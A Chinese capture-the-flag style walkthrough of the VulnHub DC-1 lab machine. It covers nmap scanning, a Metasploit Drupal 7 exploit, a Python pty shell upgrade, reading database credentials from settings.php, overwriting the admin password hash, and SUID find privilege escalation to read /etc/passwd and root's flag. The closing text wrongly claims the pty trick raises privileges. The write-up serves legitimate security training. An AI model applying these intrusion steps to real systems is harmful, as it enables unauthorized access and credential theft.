[内网渗透]DC1
环境搭建
https://www.vulnhub.com/entry/dc-1,292/
信息收集
扫IP、端口:
nmap -sS 192.168.56.1/24 -T4
![image-20230721201724820](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212017019.png)
扫描详细信息:
nmap -A -T4 192.168.56.136
可以知道是:Drupal
的CMS
目录扫描:
dirb http://192.168.56.136
![image-20230721201935537](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212019662.png)
靶机渗透
首先通过靶机ip的80端口访问网站:
![image-20230721202056848](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212020963.png)
测试了一下,好像没什么利用点
于是我们想到Drupal 7
cms中可能存在某些漏洞,我们使用著名的metasploit
msfconsole
启动后搜索drupal
:
search drupal
这里第一个是可以用的,我们可以使用use
来选择模块:
use 1
输入info
命令,可以获得该漏洞相关的信息
![image-20230721202512776](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212025877.png)
在msf中我们可以使用options
命令来查看当前模块的相关选项:
options
这里只需要设置一下目标的ip(RHOSTS
)即可:
set RHOSTS 192.168.56.136
然后输入:
run
或
exploit
来利用改漏洞模块即可。等待一会就利用成功了:
我们输入getuid
命令(该命令可以获取当前会话的用户标识,需要建立会话才能使用)查看一下当前的权限:
www-data
用户
接下来我们就需要找flag了,这里有5个flag
flag1
ls
cat flag1.txt
flag1.txt
Every good CMS needs a config file - and so do you.
提示我们需要在配置文件中寻找
flag2
问一下gpt
获得路径:
sites/default/settings.php
查看:
cat sites/default/settings.php
![image-20230721203459675](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212034759.png)
找到了flag2:
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
暴力破解密码不可取
并且获得了mysql数据库的账号和密码,于是我们需要去登录mysql:
flag3
我们先使用ps aux | grep 3306
查看一下是否开放了3306端口:
发现进程中没有匹配到3306端口,说明mysql没对外开放
我们可以获取一个交互式的shell,先输入:shell
,然后输入:
python -c 'import pty;pty.spawn("/bin/bash")'
这样就获取到了一个交互式的shell
我们登录数据库
![image-20230721211151769](https://raw.githubusercontent.com/leekosss/photoBed/master/202307212111848.png)
查询users
表下存在admin
用户的密码为hash值:
这种hash值很难破解,应该是使用脚本进行加密的
我们在当前目录下发现script
文件夹,其下存在加密脚本:
我们对字符串admin
进行加密:
php scripts/password-hash.sh "admin"
然后将admin的密码修改:
admin:admin
登录网站:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
这里有几个关键词:PERMS
、FIND
、-exec
很明显了,应该是要提权的
flag4
find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
刚好有个find
可以用来提权了:
因为find
去执行命令的时候,每找一个文件都执行一次,为了不执行多次,我们先创建一个空文件,然后再根据该文件执行命令
touch demo
find demo -exec cat /etc/passwd \;
# 查看一下/etc/passwd
flag4在 /home/flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
flag5
如果直接查看/root
,提示没有权限
前面的find提权派上用场了:
find demo -exec cat /root/thefinalflag.txt \;
拿到了flag5
总结
这里有一个东西挺重要的:
python -c 'import pty;pty.spawn("/bin/bash")'
这个代码可以获得交互式的shell
这个命令是一个基于 Python 的简单技巧,用于在当前终端创建一个交互式的伪终端(PTY)。它可以用于提升当前终端的特权,以便执行更高级的操作。
具体来说,这个命令的作用是导入
pty
模块,并使用pty.spawn()
函数来创建一个交互式的 Bash shell。/bin/bash
是一个常见的 Bash shell 的路径,在这个命令中被传递给pty.spawn()
函数。执行这个命令后,会话将转变为一个具有完整的交互式 Shell 功能的终端,您可以在其中执行各种命令,浏览文件系统,编辑文件等等。
需要注意的是,这个命令只在当前终端有效,如果您想要将会话保持开启并在其他地方访问,可能需要使用其他技术,比如使用反向 Shell 或者 Tunneling 等方法。此外,在某些情况下,这样的操作可能会违反法律或规定,请确保您拥有适当的权限和合法性来执行相关操作。